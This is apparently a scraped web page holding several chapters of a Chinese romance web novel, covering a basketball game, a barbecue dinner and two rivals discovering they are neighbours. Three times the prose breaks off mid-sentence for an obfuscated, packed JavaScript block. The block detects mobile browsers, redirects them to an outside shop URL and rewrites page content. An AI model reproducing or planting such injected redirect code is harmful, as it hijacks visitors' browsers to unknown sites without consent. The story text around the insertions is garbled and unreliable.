裴言修把手机往林尤墨面前一递,屏幕几乎怼到他脸上:“他答应了。祖宗,这下满意了?” 万理饶有兴致地凑过来看。裴言修发出的信息呈现在眼前—— 【我有个朋友下周想和我们一起,你那边方便?方便的话下周就还是我安排,过程中的全部费用由我承担。】 下方是两个简短的白色信息条。 【可以。】 【费用AA。】 万理打眼一扫过去,乐了:“你给他备注的什么哈哈哈哈哈哈哈哈厂公哈哈哈哈哈哈哈哈柏停知道他就这么被你意念阉割了吗?” 林尤墨也没能绷住故意扯出来的臭脸,笑出声来。 裴言修没好气地踹了他们一人一脚:“活儿都按你的意思揽下了,说吧,你到底打算约他干什么?” 林尤墨露出一个意味深长的笑,缓缓吐出三个字。 万理眼睛瞬间亮了:“带我一个!必须带我一个!” 一周后,洛城某篮球场。 柏停比约定时间早到了十分钟,长椅上已经坐了两个人。其中一个人有一搭没一搭地踢着堆在旁边的落叶。旁边一身篮球服的人先看向了他的方向,和身边人说了句什么,那人抬眼看来。 柏停走近,裴言修身边的人咧着嘴朝他挥手:“来了啊厂公。” 柏停脚步一顿,目光淡淡扫过:“你叫我什么?” 裴言修眼睛都瞪圆了,立刻给了身边人一杵。那人于是不说话了,只笑,笑容里地挑衅丝毫没收敛。 柏停记得他,也是个二世祖,林家的人,似乎是叫什么幽默。 裴言修心虚地站起身,刚要开口,就见万理抱着几瓶水从不远处走来。他像看到了救星一般,朝万理招手:“这边!” 柏停鞋尖不着痕迹地一转,而后目光微妙地转回裴言修:“你数学不好?” 裴言修:“?” “我记得你说的是带‘个’朋友。”柏停看向万理身后浩浩汤汤的球服大军,仿佛在说,这是一个? 裴言修干笑两声:“啊哈,啊哈哈哈哈……那什么,篮球嘛,人多才玩得起来。” 柏停微微挑眉:“我要是不会打篮球,你准备让我做什么?当拉拉队?” 裴言修一愣。他还真没想过这个问题。也是……柏停这种性格,不装跟不会呼吸一样,的确不像是会愿意跟一群臭烘烘的人汗流浃背地抢一颗球的类型。 他低声道:“你怎么不说啊?我给你发地址的时候。” 柏停睨他:“你今天早上才给我发地址。” 裴言修哑口无言。他的确是对这件事情没怎么上心。自从林尤墨主动揽下组局的活儿,他就全权丢给对方了。地址也是今早才收到,他转手就转发给了柏停。 “再说,横竖都是要见的。在哪都一样。”柏停凉凉地补充,“你不也是这么想的?” 话是这么说……但是让一个完全不会篮球的人在旁边旁观他们热热闹闹,甚至这人原本应该是这聚会的主角……裴言修顾不上计较柏停的语气,心底无端生出些懊恼和愧疚来。 “你俩在这儿说什么悄悄话呢?”林尤墨大大咧咧地走过来,手臂搭上裴言修的肩,“人我都点好了,刚好够分两组。柏总放心,都是我们以前校篮队的。您先挑?” 裴言修忍不住打断:“笑儿,柏停不……” “可以。”柏停淡然应下,他说完看到裴言修瞬间瞪大的眼睛,说了句算是解释的话:“我没说过我不会。” 裴言修:“?”耍我呢??! 他还没来得及消化这股情绪,柏停已经转向林尤墨,目光在那群跃跃欲试的球服大军身上扫过。 “我就不挑了。你组的局,你来分吧。公平。” 林尤墨愣了一下,随即咧嘴笑了:“成!柏总爽快!”他摩拳擦掌,立刻进入状态,开始像点兵点将一样分配队伍,力求两边实力均衡。 裴言修凑近柏停,压低声音,带着点咬牙切齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274637|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意味:“你玩儿我呢?刚才装得跟个误入狼群的小白兔似的?” 柏停微微侧头:“是你脑补的太多。” “你!”裴言修气结,感觉自己刚才那点愧疚心全都喂了狗。 队伍分得差不多了,只剩下万理和裴言修还没归属。林尤墨一手叉着腰,一手抱着篮球,下巴朝裴言修一扬:“羞儿,你呢?跟哪头?” 裴言修几乎没犹豫,抬脚就站到了林尤墨身边。 “我跟你一头。”他磨着后槽牙道。他要在在球场上好好教教柏停做人。 万理自然而然地就归到了柏停那边。几人都没意见,脱了外套就开始热身。 裴言修盯着对面正在简单拉伸的柏停。那人动作不紧不慢,甚至带着点漫不经心,可舒展肢体时,衬衫下隐约能看出流畅的肌肉线条,绝不是疏于运动的样子。 “看什么呢?”林尤墨用胳膊肘撞了他一下。 裴言修:“看他能装到几时。” 在场的都是脱离校园已久的人,身上虽然穿着身球服,却是实打实地有阵子没摸过球了。 裴言修也是手生得不行,几轮下来,打得充满了顾忌和试探。还好这头有他们以前的校篮队长。队长是个体格健硕的大块头,冲击力很强,如同坦克般在内线横冲直撞,接连得分。 而柏停那边,他本人似乎并不热衷于主动进攻,多数时间在组织传导,跑位精准,传球时机刁钻,几次助攻都恰到好处。但并没有给裴言修那头造成太大的威胁。 裴言修观察了一阵,心里对柏停的打法大致有了数。攻防转换,他瞅准机会,断下了传给万理的球,立刻发动快攻。他速度极快,甩开所有人,直冲空无一人的篮下。 起跳,腾空,拨球——这本该是个十拿九稳的上篮。 一道身影却从侧后方疾速追来,时机把握得妙到极致,在他球将离未离指尖的瞬间,修长的手指精准地按在了球上! “啪!” 一声干净利落的盖帽。 裴言修落地,踉跄一下,愕然抬头。柏停稳稳落在他身后,那双总是没什么情绪的眼睛里露出几分挑衅,显得生动了许多。 场边瞬间爆发出惊呼和口哨声。 “卧槽!好帽!”林尤墨大喊一声。 裴言修感觉脸上有点烧,那点被压制的不服气彻底被点燃了。他扯了扯嘴角,盯着柏停:“可以啊。” 柏停没说话,只是微微抬了抬下巴。 接下来的比赛,火药味陡然浓了起来。裴言修明显加强了对柏停的个人进攻,而柏停的防守如同铜墙铁壁,脚步移动快,预判精准,让裴言修几次尝试都无功而返,反而因为过于急躁出现了两次失误。 轮到柏停进攻时,他依旧不贪功,但一次借着队友挡拆摆脱裴言修后,他在三分线外一步接到回传,面前一片空旷。 “放他投!他不太出手!”林尤墨在篮下喊道。 柏停闻言,动作没有丝毫犹豫,屈膝,起跳,出手。篮球划出一道极高的抛物线,空心入网。声音清脆。 “三分!” 裴言修看着那还在微微晃动的篮网,又看看落地后面无表情往回跑的柏停,心里只有一个念头: 这人不仅会打,而且……深藏不露。 他现在非常、非常确定,柏停就是故意的。从最开始误导他,到现在在球场上一步步展现实力,根本就是在看他笑话。 原本带着几分玩闹性质的场子被一个三分点燃,众人都躁动起来。裴言修朝队友们拍了拍手:“都打起精神!认真打!拿下这场,晚上我请客!” 12. 少年 进入下半场。场上的对抗强度明显提升了一个等级。肌肉碰撞的闷响、球鞋摩擦地板的尖锐声响、以及愈发粗重的喘息交织在一起,将球场化为一个蒸腾着热血与汗水的逼仄战场。裴言修的胜负心被彻底激了起来,带头开始全力以赴。 他利用速度和变向,一次次冲击篮下。面对柏停的防守,他不再选择硬碰硬,而是借助队友的挡拆,寻找出手空间。每一次切入都带着狠劲,仿佛要把上半场被压制的那点憋闷全部宣泄出来。 “换防!”在一次挡拆后,裴言修对上了对方另一名队员。他毫不犹豫,一个加速过掉对方,在柏停补防到位前急停跳投。起跳的瞬间,他能感觉到小腿肌肉的微微颤抖,但手碰到球时却格外的稳。 篮球应声入网,刷网的声音清脆利落。 “好球!”林尤墨跑过来与他击掌,掌心相击,发出响亮的声音。 裴言修回防时与柏停擦肩而过,故意放慢脚步,汗水顺着下颌线滴落在地板上:“我请客不会落下柏总的。”语气里带着毫不掩饰的挑衅和得意。 柏停的呼吸也应剧烈运动有些不稳,紧盯着前方的进攻阵型:“比赛还没结束。” 轮到柏停这边进攻。万理稳稳控球推进,柏停则在对方半场不断移动,看准一个空隙,他突然一个反跑甩开防守。万理的传球立刻送到,柏停接球就投,动作流畅得没有一丝多余。 “不会让你这么投的!”裴言修已经补防到位,高高跃起,伸长的手臂几乎封死了所有常规角度。 然而柏停的出手点很高,弧度完美,显得胜券在握。篮球越过裴言修的指尖,在空中划出一道优美的抛物线,再次空心入网。三分有效! 比赛进入最后两分钟,双方战成平手。汗水已经浸透了每个人的球衣,紧贴在皮肤上,勾勒出精悍或健硕的线条。急促的喘息声在球场上此起彼伏,空气里弥漫着浓重的荷尔蒙和胶着的战意。 裴言修持球,面对柏停的防守。时间只剩下最后二十秒,计时器上的数字仿佛带着重量,每一次跳动都敲在人心上。 “拉开!”他挥手让队友散开,声音因紧张和用力而有些沙哑。 全场都意识到这是最后一攻了,所有人都屏住呼吸,目光聚焦在这两人的一对一上。 裴言修连续胯.下运球,篮球在指尖和地板之间灵巧跃动,寻找着节奏和突破的契机。柏停稳稳地跟着他的脚步,降低重心,双臂张开,像一张密不透风的网,不给他丝毫轻松出手的空间。场上只剩篮球撞击地面的砰砰声,像敲击在在场所有人心脏上的鼓点。 计时器跳到最后五秒。裴言修突然一个大幅度的体前变向,从右侧强行突破,肩膀硬生生抵开一丝空隙!柏停迅速横移,两人身体碰撞的瞬间发出结实的闷响。就在失去平衡的刹那,裴言修却以一个极其别扭的姿势后仰跳投。 篮球从他指尖飞出,在空中划出一道极高的弧线。柏停也全力跳起封盖,修长的手指尽力伸展,指尖几乎要触到球的底部。 球在篮筐上弹了一下,又一下,磕磕绊绊,牵动着所有人的心跳。最终,它不情愿似地、缓缓落入网中。 球进了! 哨响,时间归零。 “赢了!”林尤墨和队友们欢呼着冲向裴言修,将他团团围住,激动的吼叫声几乎要将球场掀翻。 “卧槽啊!羞儿牛逼!绝杀!” “言修牛逼!大家都太牛逼了!” 裴言修喘着粗气,胸膛剧烈起伏,汗水从湿透的发梢不断滴落,在脚下汇成小小一滩。他隔着兴奋涌动的人群看向柏停,发现对方也正看着他。 他轻笑了一声,拨开人群走近前去,笑得锐气张扬,带着胜利者独有的炽热光芒:“怎么样柏总?服吗?”汗水沿着他的眉骨滑下,更添几分桀骜。 “牛逼。”柏停喝了口水,轻轻喘着气,语气很淡,但丝毫不含糊。 裴言修知道他是真心实意的。而且和语气形成反差的直白内容……莫名让这句夸奖更带上了几分说不出的、砸在人心上的重量感。 很……带感。 裴言修愣了一下,随即吹了个响亮的口哨,眉梢眼角都染着畅快:“柏总说脏话了啊。”他故意拖长了调子。 柏停反问:“不可以?” “可以,当然可以。”裴言修笑意更深,弯腰拎起自己的外套和水瓶,微凉的瓶身触到滚烫的掌心,激得他微微一颤。与柏停错身时,他顺手拍了拍对方汗湿的肩胛,触感结实,“走了,吃饭去,今晚我请客。” 裴言修心情颇好地拎着东西往外走,柏停落后他半步,与他一道:“不是说好费用AA?” 裴言修还沉浸在赢球和某人那句“牛逼”的愉悦里,想也没想就脱口而出:“我们俩一起请客?那成什么了?搞得跟……” 话到一半,他自己先觉出不对劲,猛地刹住。把后面那句“那跟小两口一起办酒席请客有什么区别”硬生生咽了回去。 与此同时,他感觉到身旁柏停的脚步也几不可察地顿了一下。 空气安静了一瞬间,刚才球场上酣畅淋漓、汗水交织的氛围骤然褪去,取而代之的是一种难以言喻的微妙情绪。从上头中冷静下来些许,裴言修一时间喉头发紧,暗自懊恼自己得意忘形,嘴上没把门。 好在柏停没有深究,只道:“那下次我请。”语气已然恢复平常,仿佛刚才那细微的停顿只是裴言修的错觉。 他这么一说,裴言修就又得意起来:“下次你赢了再说。” 柏停看了他一眼。他不认为他们会有再次一起打球的时候。实际上,他说的“下次”是指下周见面。 但见裴言修一副尾巴翘到天上去的样子,他便也只道:“嗯。” 一行人吵吵嚷嚷地涌出篮球场。脱下球服,他们大多已是年近而立的各行各业精英,可一旦穿上球服,在这短暂的几小时里,仿佛又都回到了能够无所顾忌、肆意挥洒青春的大学时光。 没有一个人提议去什么需要正襟危坐的高档餐厅,众人极有默契地选中了街角那家烟火气十足的烧烤店,哄堂而入,瞬间占满了大半店面。 “老板!先来一箱啤酒!”林尤墨人还没坐下就嚷嚷开了,他一手勾住裴言修的脖子,另一把拽过万理,“走走走,我们去点菜。你们要吃什么赶紧报上来!” “牛肉串!先来三十串!” “烤茄子!蒜蓉多加!” “韭菜、金针菇得有!” “烤鱼!来一条!” “生蚝!男人加油站懂不懂!” “鸡翅中我的爱!” “脆骨!掌中宝!” “炒个米粉垫垫肚子……” 七嘴八舌的点菜声混成一片,洋溢着久违的、无需顾忌形象的轻松。林尤墨手忙脚乱地试图记下,最后还是老板笑着递过来点单板和笔:“小伙子们,写下来写下来,别急,一样都少不了。” 裴言修被这热闹包围着,唇角也不自觉染上些笑意。勾完手上的菜单,他余光瞥见柏停,那人正站在稍外围一点的位置。 “柏总呢?”林尤墨终于想起来,扬声道,“有什么忌口或者特别想吃的没?” 柏停闻声抬眼,在一片期待的目光中,平静地吐出几个字:“烤馒头片,多放糖。” 这过于朴实甚至带着点幼稚的选择,让众人愣了一下,随即爆发出更响亮的笑声。 “没问题!管够!”林尤墨大笔一挥,在单子上用力划了几笔。 裴言修也忍不住笑了。他拉开塑料凳子坐下,用开瓶器利落地撬开几瓶啤酒,泡沫涌出的滋滋声格外悦耳。他将一瓶放在柏停即将落座的位置前,自己拿起一瓶:“干一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274638|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗柏总?” 柏停还没说话,周围一帮子耳朵尖的已经先举起了杯:“干干干,敬久违的痛快!” 冰镇的啤酒瓶外凝结着水珠,冲散了众人身上的热意。几轮推杯换盏,烧烤的烟火气和年轻人的笑闹声混杂在一起,气氛愈发热烈。 这时,队里一个叫周屿的男生端着酒杯凑了过来。他在一家投行工作,是这群人里除裴言修和林尤墨外,少数和商圈金融圈沾边的人。 “柏总,”周屿笑着,露出一颗小小的虎牙,显得有几分少年气,“我敬您一杯。久仰大名了,今天总算见到真人。” 柏停抬眼,礼貌地举杯示意,并未多言。 周屿似乎并不介意他的冷淡,反而带着点追忆往事的兴奋,试探着问:“柏总,冒昧问一句,您初中是不是在附中读的?” 柏停握着酒杯的手微微一顿,看向周屿,眼中闪过一丝不易察觉的讶异,随即点头:“是。” “果然是你!”周屿猛地一拍大腿,声音都拔高了几分,引得旁边几桌人都看了过来,“我就说看着眼熟!您当年可是我们附中初中部的风云人物啊,校篮绝对主力!我那会儿刚初一,还跑去看过您打区里的决赛!” 他这话一出,连原本在跟林尤墨抢鸡翅的裴言修都停下了动作,诧异地转过头来。 周屿越说越激动,像是打开了话匣子:“您那个背后运球过人,然后急停跳投,我当时在观众席上看傻了!后来我拼了命练球,初二下学期终于进了校队,就想着能跟您一起打球……结果您升了初三,好像就慢慢不打比赛了。”他说到这里,语气里带着毫不掩饰的遗憾,“唉,就差那么一点,一直没机会跟您合作一次。” 柏停安静地听着,暖黄的灯光落在他侧脸上,柔和了些许惯常的冷峻。他晃了晃手中的酒杯,“都是很久以前的事了。” 周屿却像是找到了偶像的小粉丝,立刻掏出手机:“柏总,今天能碰上真是缘分!方不方便加个微信?以后有机会……” 裴言修在一旁听着,眉头不自觉地微微蹙起,心底那点畅快淋漓的余温渐渐冷却下去。周屿这番看似热情的追忆,落在他耳中,不免带上了几分刻意的痕迹。 他们毕竟不再是真正的少年人。多年在名利场中浸淫,谁还能听不出这攀关系、套近乎的弦外之音?若是在正经的商业酒会或谈判桌上,以周屿目前的层级,恐怕连递张名片到柏停面前都困难。也只有在今天这种刻意模糊了身份的私下场合,才会让人产生一种“大家是平等朋友”的错觉,给了某些心思活络的人可乘之机。 这个局名义上是裴言修组的,柏停是配合方。在他的局上让人“骚扰”到柏停,借的是他的势,打的是他的脸,丢的是他的人。 他面无表情地偏头和林尤墨对视了一眼。只这一眼,林尤墨立刻心领神会,意识到不妥。他在桌下悄悄给裴言修比了个“讨饶”的手势,脸上闪过一丝懊恼——千算万算,没算到自己叫来的人里会有这么不懂分寸的,在心底将周屿骂了无数遍。 眼见周屿还在热情地试图掏出手机,裴言修忽然轻笑一声,伸手拿过酒瓶,不轻不重地往周屿面前的杯子里斟满。 “周屿,”他声音不高,却带着不容置疑的份量,瞬间截断了对方后续所有的话头,“今天不谈公事。来,喝酒。” 他端起自己的杯子,目光平静却极具压迫感地看向周屿。 周屿动作僵住,脸上闪过一丝尴尬,立刻反应过来,赶紧举起酒杯:“裴哥说得对,是我冒失了,自罚一杯,自罚一杯!” 说罢,仰头将杯中酒一饮而尽。 裴言修这才象征性地抿了一口,随即自然地转向柏停,语气恢复了之前的随意:“烤馒头片上了,你的多糖版本,再不吃可就凉了。” 柏停看了他一眼,最终轻声“嗯”了一句。 13. 朋友圈 这段小插曲并未在众人心中掀起太大波澜,很快就被饭桌上新的话题所覆盖。 然而还是有敏锐的人察觉到了异样,压低声音对身旁的同伴嘀咕:“言修和这位柏总……” 同伴了然地摆摆手,带着几分揶揄笑道:“你这消息也太滞后了。待会儿去查查新闻,这早就不是秘密了。” …… 酒足饭饱,夜色已深。所有人都喝了酒,有司机的叫来司机接送,没司机的纷纷叫了代驾或网约车。烧烤店门口一时热闹非凡,三三两两地道别。 裴言修酒量属于中不溜,比林尤墨差点儿,比万理好点儿。大几瓶啤的对他来说,尚在可承受范围之内,林尤墨更是跟没事人似的,唯有万理,已经是醉得东倒西歪走不了直线,一头栽进林尤墨怀里。 林尤墨直乐,掏出手机就开始录像。 “万大律师,怎么样啊?” 万理猛地抬起头,眼神迷离,舌头打结:“法官大人!我方当事人……呃……”他打了个酒嗝,努力聚焦,手指颤巍巍地指向一旁的裴言修,“我方当事人裴先生,品行端方,收入稳定,实乃……实乃良配!反观对方当事人……” 他话还没说完,突然一个踉跄,挣脱林尤墨的搀扶,张开手臂就朝着裴言修扑过去。 裴言修看热闹看得好好的,一个闪身想避开,一道身影不知何时已然挡在了前面。万理结结实实地撞上了一堵温热的“墙”,抬头正对上柏停没什么表情的脸。 万理晕乎乎地眨了眨眼,酒精让他的大脑自动完成了角色分配。他一把揪住柏停的衬衫前襟,义愤填膺地控诉: “你!就是你!被告方当事人!法官大人您看看!”他扭头朝林尤墨的方向喊,“此人……此人婚后长期冷暴力我方当事人,转移共同财产,私生活混乱,证据确凿!我方坚决要求……要求判处净身出户!并且支付精神损害赔偿金!” 柏停:“……” 裴言修一时半会都没反应过来,举着手机的林尤墨已经笑得浑身发抖,画面抖个不停。 柏停抬手,试图将揪着自己衬衫不放的万理拎开,没想到醉鬼手下力气不小,攥得死紧。他稍加用力,万理反而更激动地嚷嚷:“被告方还想当庭施暴?!法官大人您看到了吗!” 柏停动作一顿,从善如流地松开手,对着万理,语气平淡无波地接上了戏:“好,我同意。财产都归他,我净身出户。” 这话像按下了什么开关,万理立刻松了手,脸上露出心满意足的表情,仿佛打赢了一场硬仗。他踉跄着转身,一把抱住林尤墨的腰,把发烫的脸颊埋在他肩窝里,不动了。 世界终于清静了。 柏停抬手理了理被揪皱的衬衫前襟,这才转向一旁看得目瞪口呆的裴言修。 “怎么?拿了我的全部财产,高兴的说不出话来了?” 裴言修回神,张口就骂他:“占谁便宜呢?” 柏停却没再与他争。他顿了顿,目光扫过挂在林尤墨身上不省人事的万理,语带嘲讽:“你朋友……业务能力还挺强。” 裴言修:“……” 这时,林尤墨家的车恰好到了。他半拖半抱着挂在他身上的万理,转头问:“这醉鬼我负责送回去。你俩呢?要不要捎你们一程?”这话主要是冲着裴言修问的,柏停只是顺带。 裴言修摆摆手:“不用,我家离这儿不远,正好走回去醒醒酒,消消食。” 他话音刚落,站在一旁的柏停顿了顿,也淡然开口:“一样。” 林尤墨知道裴言修说的是实话,点点头,也没多客气:“成,那我们先走了。”说着便把万理塞进了车里,自己也钻了进去,隔着车窗朝他们挥了挥手。 车子汇入车流远去。裴言修转向柏停,也准备道别:“那行,柏总,我也……” 他话没说完,却见柏停和他转向了同一个方向,并自然而然地迈开了步子。意识到这一点后,两人皆是一顿。 裴言修没多想,下意识脱口而出:“柏总也是这个方向?” 柏停看傻子似的看了他一眼:“步行只有这个方向能出去。” 裴言修一噎,强行挽尊地干笑两声:“哦哈哈哈……对,瞧我这记性。那正好,一起走一段。” 他说得爽快,心里却在暗暗叫苦。还一起走一段,他恨不得给柏停两巴掌才好。奈何回去的路只有这一条,此时分开又太刻意,他只能硬着头皮和柏停一起往前走。 从烧烤店步行回裴言修住的小区,大约需要二十分钟。尽管两人名义上同行,却默契地保持着沉默。这周的“见面”KPI早已超额完成,此刻似乎也没有刻意找话题的必要。 路灯将橙黄的光晕投洒下来,把两人的影子在身前拉长又缩短。柏停始终领先他半步,裴言修也不急着追上,就这么不紧不慢地跟在后面,目光落在前方那道修长的影子上。他恶作剧般地调整着步伐,故意踩上影子的头部,在柏停看不见的位置跺了几脚,愉悦地勾唇。 这种愉悦持续了十五分钟。直到眼见着下个路口就要到达小区,两人却还没有分道扬镳,裴言修才意识到不对劲。他眼皮直跳,心里生出一种不详的预感。 这个不祥的预感,在两人一前一后走到他住的小区门口时成了真。看着面前熟悉的门禁,两人不约而同地停下脚步,同时沉默。 深夜的小区门口安静得能听到树叶的沙沙声。半晌,还是柏停率先开口,他的目光看上去有些一言难尽:“裴总也住这个小区?” 裴言修怕柏停的脑回路又转向什么奇奇怪怪的方向,很快道:“我回国后一直住在这里。柏总呢?” 柏停顿了顿:“我刚搬过来没多久。” 裴言修暗自松了口气,顺势接话:“难怪没在小区偶遇过柏总。” 两人一时无话,并肩刷开门禁走进小区。夜风拂过,带着湿润的草木气息。 走到分岔路口时,裴言修正要道别,却见柏停也停下了脚步。他心头莫名一跳,就听见身旁传来低沉的嗓音:“我住27栋。” 裴言修愣了一下,下意识回道:“……我住25栋。” 说完他才反应过来——这两栋楼根本就在同一个区域,中间只隔着一个中心花园。 这个认知让两人之间莫名升起一丝微妙的尴尬。裴言修喉结不自觉地滚动了一下,几乎是下意识地想要打破这令人不适的氛围:“那……下周我们可以从小区一起出发。” 柏停微微一怔,随即轻轻点了点头:“好。” 这出乎意料的平和回应,让裴言修直到回到家,打开玄关的灯时,心里那点不真实感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274639|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都还没完全散去。 他原本觉得自己十分清醒,几瓶啤酒而已,根本不值一提。可当他冲完澡,带着一身温热的水汽倒在床上时,才后知后觉地感到一阵迟来的、轻飘飘的醺然。 难怪……难怪自己刚才会说那种不过脑子的话。他抬手盖住眼睛,无奈地扯了扯嘴角。不过转念一想,柏停今晚似乎也格外“宽容”,大概是同样微醺的状态下,那张不饶人的嘴也暂时歇业了,竟然没借机刺他两句。 他翻了个身,摸过床头的手机,屏幕的冷光在昏暗的房间里亮起。指尖无意识地滑动着朋友圈,看着朋友们今晚发的各种动态。鬼使神差地,他点开了相册,选中了那张随手拍的、在夕阳下泛着金光的空荡球场,还有一张烧烤时拍下的、堆满签子和空酒瓶的热闹餐桌。 指尖在编辑框停顿片刻,他敲下了两个字: 【痛快】 没有多余的表情,没有@任何人。他就这样将今晚那些汗水、对抗、喧闹和最后那段说不清道不明的寂静同行,一并打包,发送了出去。 将手机扔到一旁,他闭上眼,脑海里却不合时宜地闪过柏停站在路灯下,点头说“好”时,那双像是突然有了温度的眼睛。 他“啧”了一声,不自觉嘀咕:“果然好看的皮相就是有欺骗性……” 裴言修随手把手机扔到一边,起身去倒了杯水,又打开投影漫无目的地换了几个台,最终停在了一部没什么营养的搞笑综艺上。背景音充斥着罐头笑声,他却有点心不在焉。 约莫半小时后,他才重新拿起手机,屏幕解锁,微信图标上已经冒出了不少红点。他点进去,果然,那条朋友圈下面已经有了几十个赞和一堆评论。 林尤墨:“【大拇指】下次继续!” 万理(看起来是酒醒了一些):“【抱拳】感谢裴老板款待,下回我请!” 还有一堆共同朋友的插科打诨。 裴言修嘴角带着点懒散的笑意,指尖滑动,一一回复过去。直到他的目光停在了一条来自赵玥的评论上。 赵玥:“和柏停一起吗?” 很简单的五个字,后面连个表情符号都没带,却让裴言修的心跳莫名漏了一拍。他几乎是下意识地,手指已经敲了回复:“你怎么知道?” 信息刚发出去没几秒,赵玥的回复就来了——她发过来一张截图。 是柏停的朋友圈。 截图里,柏停一片空白的朋友圈里新增了一抹颜色。没有任何配文,只有一张孤零零的照片。看角度似乎是在球场边拍的,画面里是空旷的篮筐和远处模糊的、正在说笑的几个人影,其中一个人的侧影,裴言修自己一眼就认了出来。 裴言修愣了愣,指尖无意识放大了照片。 柏停的发布时间在四十分钟前,差不多正好就是他们俩一起走回来的那段时间。 裴言修差点没笑出声来。原来那人一直低头看手机是在折腾这个。看不出来,这货还挺闷.骚。 ——连朋友圈都要做第一个发的,生怕被人抢先了。嗯……倒是比他想的要有人情味一点。 裴言修乐了一会,指尖悬在屏幕上方,半晌,点开柏停的头像,进入他的朋友圈。那条动态赫然在目,安静地躺在那里。 手指轻轻戳上屏幕,裴言修点了个赞。 14. 变味 微醺和周六,这两个词组合在一起的美好,不必多说。裴言修睡了个好觉,再睁眼已经是中午了。刷牙的时候,林尤墨的视频电话打了过来。 裴言修叼着牙刷接通,含糊地问:“这么早?” 屏幕里的林尤墨顶着一头乱发:“早个屁,我都醒半天了。” 裴言修看背景明显不是他自己家,挑了挑眉,吐出一口水问道:“在哪呢这是?” 林尤墨打了个哈欠,把镜头转了一圈,“在万理这儿呢。”他说着声情并茂地开始控诉:“昨晚那死出沉得要命,我好不容易把他扛回家,他又开始耍酒疯,抱着马桶唱《征服》,折腾到大半夜。我累得一根手指头都不想动,索性就睡他家了。结果你猜怎么着?我一睁眼,人没了!连条信息都没留,早饭也没有!没良心的东西!” 裴言修听得直乐,拿起毛巾擦脸:“行,下次见面我跟你一起声讨他。” “必须声讨!”林尤墨哼哼两声,随即凑近屏幕,脸上露出那副熟悉的、八卦兮兮的表情,“你昨晚呢?和柏停一起散步回家的感觉怎么样?是不是看星星看月亮,从诗词歌赋聊到人生理想?” 裴言修佩服他的想象力:“讲话严谨一点,林笑笑同志。什么叫一起散步?我跟他那只是恰好顺路好吗?” “啧啧啧。”林尤墨在镜头那边摇头晃脑,“顺路能顺到同一个小区?还刚好一前一后发朋友圈?裴小羞同志,你的解释很苍白啊。” “爱信不信。”裴言修把毛巾扔回架子上,转身往厨房走,“就是巧合。” “行吧,你说巧合就巧合。”林尤墨也不纠缠,换了副稍微正经点的语气,“不过说真的,柏停这人接触起来跟我印象中还挺不一样的。” 裴言修从冰箱里拿出牛奶,闻言嗤笑一声:“哪不一样?不还是很装?” 林尤墨在屏幕那头翻了个白眼:“小样,你别跟我这儿装。他对别人什么样我不知道,但对你,明显就不一样。” 裴言修倒牛奶的手微微一顿。 柏停对他不一样?哪不一样?格外爱犯贱? 那头的林尤墨还在喋喋不休:“好吧,我承认之前是我话说早了,这门亲事我同意了。” 裴言修言简意赅:“滚。懂什么叫冤家吗?他克我。” 林尤墨盯着他看了两秒,忽然咧嘴笑了,那笑容怎么看怎么欠揍:“行,冤家。您说是就是。不过我提醒您啊裴总,有些‘冤家’,处着处着,可能就变味儿了。” 裴言修:“……您不去写剧本真是屈才了。” 挂断电话,屏幕暗下去,厨房里只剩下微波炉加热牛奶的轻微嗡鸣。裴言修靠在料理台边,看着窗外明媚的晨光,脑子里却不受控制地回响起林尤墨最后那句话。 变味儿? 他端起热好的牛奶喝了一口,温热的液体滑过喉咙,却莫名觉得心里某个地方,有点痒痒的,说不清是什么感觉。 半晌,裴言修摇了摇头。——真是被林尤墨那傻子传染了。他跟柏停的关系还能怎么变?好成穿一条裤子的兄弟不成? ……算了吧,他还想多活两年。 给自己简单煮了碗面,裴言修坐到餐桌前,刚刷两下,就看到万理几分钟前发了条朋友圈: 【以后再也不喝酒了。】 裴言修乐了,立刻在底下评论:“干什么了这是?说来听听,我替上帝原谅你。” 评论完,他顺手点了个赞,退出,再刷新——那条朋友圈居然不见了。 “嚯,秒删。”裴言修失笑,只当是万大律师酒后失态后悔了,也没在意。 他找了部老电影打发时间,看完片尾字幕,才又拿起手机。屏幕上有条未读微信,来自万理,时间是一小时前: 【羞儿,笑儿最近有没有什么喜欢的东西?】 裴言修挑眉,回道:“怎么?这是准备赔罪?他已经打电话过去骂你了?” 消息刚发出去,万理几乎是秒回: 【没打电话。他跟你说什么了?他觉得需要我赔罪吗?】 这行字在对话框里停留了不到三秒,立刻被“对方已撤回”取代。 紧接着,新消息跳出来: 【没,这不就是他生日快到了吗,我在想送什么礼物。】 这一套欲盖弥彰的操作行云流水。裴言修靠着沙发,指尖在手机边缘轻轻敲了敲。他毕竟跟林尤墨更亲,虽然心里觉得这两人今天透着古怪,但也没直接戳破。 